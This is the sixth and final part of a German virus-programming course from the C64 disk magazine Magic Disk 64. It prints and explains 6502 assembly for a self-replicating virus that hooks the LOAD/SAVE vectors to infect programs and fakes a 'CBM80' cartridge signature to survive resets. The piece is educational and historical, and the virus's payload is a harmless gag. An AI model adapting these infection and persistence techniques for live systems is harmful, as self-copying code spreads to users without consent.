Magic Disk 64

home to index to text: MD8812-KURS-VIRENPROGRAMMIERKURS_TEIL_6-6.1.txt

Heute, im 6 . und letzten Teil des Virenkurses wollen wir noch die bisher unbehandelten kleinen, aber nicht unwichtigen Routinen besprechen, die unserem Virus das Leben im C64 ermöglichen.
Mittlerweile wissen wir ja schon, wie sich unser kleiner Freund vermehrt, nämlich mit Hilfe der LOADund SAVE-Vektoren, über die er sich sozusagen ins System " reinhängt" und sich somit bei einem Ladeoder Speichervorgang problemlos vor ein noch nicht infiziertes Programm hängen kann.
Nun wollen wir uns mit der Initialisierungsroutine beschäftigen, die z. B. die Aufgabe hat, eben diese Vektoren zu " verbiegen" . Der aufmerksame Leser wird sie sicher schon gefunden haben. Sie heißt sinnigerweise INIT und steht im Sourcelisting ab Zeile 2072 :

2072 -init      lda #01   ;Copyzähler                
2073 -          sta copy  ;initialisieren            

In diesen zwei Zeilen wird der Zähler für die Anzahl der bisher gemachten Kopien des Virus auf 1 gesetzt.
Dieser Zähler ist ein einzelnes Byte im Quelltext ( bei Zeile 2203), das jedesmal, wenn sich der Virus erfolgreich kopiert hat um 1 erhöht wird. Nach jeder Kopie prüft die Saveroutine nämlich, ob sich der Virus schon acht mal kopiert hat. Sollte dies der Fall sein, dann wird zu der bereits erwähnten Gagroutine verzweigt, die ab Zeile 5060 steht. Diese Routine läßt erst eine kleine Spriteanimation ablaufen und teilt dem verdutzten C64- Besitzer dann die Existenz des Virus mit. Hier ein Auszug aus der Saveroutine:

2810 -          jsr savecont                         
2812 -          jsr saveerror                        
2820 -;                                              
2830 -          asl copy    ;copy linksrotieren      
2840 -          bcs gag     ;Carry gesetzt, dann Gag 
2850 -          rts         ;noch nicht 8 mal kopiert

Die Zeilen 2810 und 2812 kennen Sie ja noch aus der letzten Ausgabe, deshalb erfolgt hier keine Erklärung. In Zeile 2830 wird der Inhalt der Speicherzelle COPY nach links rotiert. Das heißt, daß der Startwert ( nämlich 1), den wir am Anfang von INIT hineingeschrieben hatten, solange weitergeschoben wird, bis er ins Carryflag überläuft. Und da ein Byte acht Bit besitzt, muß acht mal rotiert werden, damit dieser Fall eintritt.
Wenden wir uns nun wieder der INIT-Routine zu:

2080 -init2    ldy #03     ;Zähler laden             
2090 -loop3    lda tab,y   ;Vektortabelle            
2100 -         sta $0330,y ;umkopieren               
2110 -         dey         ;Zähler herunterzählen    
2120 -         bpl loop3   ;Fertig?                  
2130 -;                                              
2140 -         ldy #08     ;Ja -> Zähler laden.      
2150 -loop4    lda cbm,y   ;Reset-Kennung            
2160 -         sta $8000,y ;umkopieren               
2170 -         dey         ;Zähler herunterzählen    
2180 -         bpl loop4   ;Fertig?                  
2190 -;                                              
2200 -         rts         ;Feritg!                  

Hier wird nun zweimal eine Tabelle weiterkopiert. Und zwar nach dem selben Schema, nach dem wir auch den Filenamen in der LOAD-Routine umkopiert haben.
In der ersten Schleife wird in die Bytes $0330 bis $0333 geschrieben. Dies sind die Bytes der LOADund SAVE-Vektoren ( Load=$0330,$0331 ; Save=$0332,$0333) .
Sehen wir uns nun die Tabelle an, die umkopiert wird:
10070- tab . wo load, save Hier haben wir es wieder mit einem sog. Pseudo-Opcode des Hypra-Ass Assemblers zu tun. Genau wie man bei dem Opcode " . eq" einer Konstanten einen Wert zuweist oder mit " . by 255" den Assembler dazu veranlaßt, an diese Stelle den Wert 255 zu schreiben, so wird mit dem " . wo"( wie WOrd, was eine Bezeichnung für ein 16- Bit-Wort ist, sowie " . by" die Bezeichnung für ein Byte zu 8 Bit ist) eine Konstante bzw. in unserem Fall ein Label im LO/ HI-Format hier abgelegt.
Die zweite Schleife der INIT-Routine ist für den RESET-Schutz zuständig. In der RESET-Routine fragt das Betriebssystem die Speicherzellen $8004 bis $8008 ab, ob hier der ASCII-Code " CBM80" steht. Sollte dies der Fall sein, so glaubt das Betriebssystem, daß ein Modul in den Expansion-Port gesteckt ist und es wird über den Vektor in $8000/$8001 gesprungen, anstatt einen " normalen" Reset auszuführen.
Diese Tatsache machen wir uns nun zu Nutze. Wir " simulieren" nämlich ein angestecktes Modul durch diese Kennung. Das Betriebssystem glaubt nun, es wäre ein Modul eingesteckt und springt über den Vektor in $8000/$8001, und damit genau in unsere eigene Virus-Resetroutine. Diese steht ab Programmzeile 930 :

930  -reset    stx $d016   ;Videocont. Steuerreg.2   
940  -         jsr $fda3   ;Interrupt vorbereiten    
950  -         jsr $fd50   ;RAM-Check                
960  -         jsr $fd15   ;Vektoren setzen          
970  -         jsr $ff5b   ;Video-Reset              
980  -         cli         ;IRQ zulassen             
990  -         jsr init2   ;Virus starten            
1000 -         jmp ($a000) ;BASIC-Kaltstart          

Diese Routine ist fast gänzlich aus dem normalen Betriebssystem übernommen. Der einzige Unterschied ist hier die Zeile 990 . Nachdem das Betriebssystem alle Vektoren wieder in den Originalzustand versetzt hat, müssen wir hier wieder den Virus initialisieren.
Es wird hier nicht auf INIT gesprungen, sondern auf INIT2, da ja der Zähler für die Anzahl der schon gemachten Kopien nicht neu gesetzt werden soll.
Vor einem RESET braucht sich unser Virus also nicht mehr zu fürchten. Was ihm jetzt noch zustoßen könnte, wäre ein Druck auf die RUN/ STOP-RESTORE- Tasten.
Diese Kombination haben wir aber schon mit abgefangen, nämlich ebenfalls durch die CBM80- Kennung. Ist diese vorhanden, so wird über den Vektor $8002/$8003 gesprungen, der natürlich ebenfalls in unser Virusprogramm zeigt. Und zwar auf die Routine, die ab Zeile 840 im Quellisting steht:

840  -restore  jsr $fd15                             
850  -         jsr $fda3                             
860  -         jsr $e518                             
870  -         jsr init2                             
880  -         jmp ($a002)                           

Gleiches Spiel wie bei RESET, nur weniger aufwendig, da hier weniger passiert.
Es folgt nun die Tabelle, die in der INIT-Routine umkopiert wird:

10050-cbm      .wo reset,restore                     
10060-         .tx "CBM80"                           

Jetzt möchte ich Ihnen noch die Funktion der Routinen ganz am Anfang des Sources erklären. Werfen wir einmal einen kleinen Blick auf den Beginn des Listings:

140  -data     .by $15,$08,$0a,$00,$93               
150  -.tx "2071:md-virus!"                           
160  -.by 0,0,0                                      
170  -;********************************              
180  -copyup   lda $af                               
190  -         pha                                   
200  -         nop                                   
210  -         ldy #$08                              
220  -         stx $5f                               
230  -         sty $60                               
240  -         ldx #<(realend)                       
250  -         ldy #>(realend)                       
260  -         stx $5a                               
270  -         sty $5b                               
280  -         ldx #$f0                              
290  -         ldy #$cf                              
300  -         stx $58                               
310  -         sty $59                               
320  -         jsr $a3bf                             
330  -         jmp xxxx                              

Dies sind die ersten Bytes unseres Virus, die auch als allererstes an die Floppy geschickt werden, wenn unser kleiner Freund sich fortpflanzt. Die ersten drei Zeilen stellen folgendes Basicprogramm dar:
10 SYS2071 : MD-VIRUS!
Mit dem SYS-Befehl wird die in Zeile 180 folgende COPYUP-Routine aufgerufen. Der Text " MD-VIRUS!" hat nur eine kommentierende Wirkung. In jener COPYUP-Rou- tine wird als erstes der Virus in einen Speicherbe- reich kopiert, wo er etwas sicherer aufgehoben ist, nämlich in den Bereich $ cbaf bis $ cff0 . Dies geschieht mit Hilfe einer Routine aus dem BASIC-ROM, nämlich der Routine MOVE. Sie wird folgendermaßen aufgerufen:
$5 f/$60 : Startadresse des zu kopierenden Blocks $5 a/$5 b : Endadresse des zu kopierenden Blocks $58/$59 : Neue Endadresse des zu kopierenden Blocks Startadresse:$ a3 bf Nachdem der Virus kopiert ist, muß dieser das infizierte Programm wieder nach unten kopieren, nämlich an den normalen Basic-Start $0801 . Dies macht die folgende Routine:

350  -start    lda #$36                              
360  -         sta $01                               
370  -;                                              
371  -         ldx #00                               
372  -         ldy #08                               
373  -         stx lab5+1                            
374  -         sty lab5+2                            
380  -         ldx #<(realend)                       
390  -         ldy #>(realend)                       
400  -         stx $fb                               
410  -         sty $fc                               
420  -         ldx $ae                               
421  -         ldy $af                               
423  -         stx $f9                               
424  -         sty $fa                               
460  -;                                              
470  -         ldy #00                               
475  -         ldx #01                               
480  -loop8    lda ($fb),y                           
490  -lab5     sta $0801,x                           
500  -         inx                                   
510  -         bne lab4                              
520  -         inc lab5+2                            
530  -lab4     jsr inccount                          
540  -         bcc loop8                             
640  -;                                              
660  -         ldy lab5+2                            
670  -         stx $ae                               
680  -         sty $af                               
690  -         stx $2d                               
700  -         sty $2e                               
710  -;                                              
720  -         lda #$37                              
730  -         sta $01                               
740  -;                                              
750  -         jst init                              
760  -         jsr $a659                             
770  -         jmp $a7ae                             

Diese Aufgabe kann allerdings nicht mehr von MOVE übernommen werden, da es auch sehr gut möglich sein kann, daß das infizierte Programm bis unter das ROM geht ( ab $ a000) . Also muß dieses ROM weggeblendet werden, und wir müssen mit einer eigenen Routine arbeiten. Diese steht hier in den Zeilen 480 bis 540 .
Die folgenden Zeilen haben noch die Aufgabe, die Basic-Vektoren neu auszurichten ( Anfang und Ende des Programms), da das Programm durch den Virus ja länger wurde. In Zeile 720 bis 730 wird das Basic-ROM wieder eingeblendet, nachdem es in den Zeilen 350 und 360 ausgeschaltet wurde. Anschließend wird noch INIT aufgerufen, um den Virus zu aktivieren.
In den Zeilen 760 bis 770 wird dann ein RUN-Befehl ausgeführt, der das Programm ganz normal startet.
Der Programmierung des kleinen " Gags" soll hier keine weitere Aufmerksamkeit geschenkt werden, da dies ja nur ein Nebeneffekt des Virus ist. Seine Programmierung ist außerdem nicht sehr kompliziert, so daß es jedem möglich sein sollte, diesen Programmteil zu durchschauen.
Nun sind wir also am Ende unseres Virenkurses angelangt. Ich hoffe, es hat Ihnen ein bißchen Spaß gemacht, der Arbeitsweise eines Virusprogramms gedanklich zu folgen. Sicher ist Ihnen aber auch einiges über die Funktionsweise eines Virusprogramms klar geworden. In diesem Sinne kann ich Ihnen nur noch viel Glück im " Kampf" gegen andere, nicht so harmlose Viren wie den MDV wünschen.
Sicher erinnern Sie sich noch an unsere Fragebogenaktion in der Magic Disk. Bei der Auswertung dieser Aktion ist uns aufgefallen, daß es immer noch sehr viele C64- Besitzer gibt, die Anfänger auf dem Gebiet der Programmierung Ihres C64 sind.
Aus diesem Grund haben wir uns entschlossen, die Rubrik " Kurs" in den nächsten Ausgaben nicht mehr so fachbezogen zu gestalten, sondern zunächst einen über mehrere Ausgaben gehenden Basic-Programmierkurs zu veröffentlichen.
Damit kommen wir dem Wunsch vieler Leser nach, die zwar Programmieren lernen wollen, sich aber scheuen, den manchmal dichten Dschungel der Fachliteratur zu durchwandern.
An den Basickurs werden sich dann wieder mehr fachbezogene Kurse anschließen. Mögliche Themen hierzu sind künstliche Intelligenz, Maschinensprache, Grafik und und und. Schreiben Sie uns Ihre Wünsche und Vorstellungen, denn Magic Disk 64 ist und bleibt ein Magazin von Lesern für Leser.

Valid HTML 4.0 Transitional Valid CSS!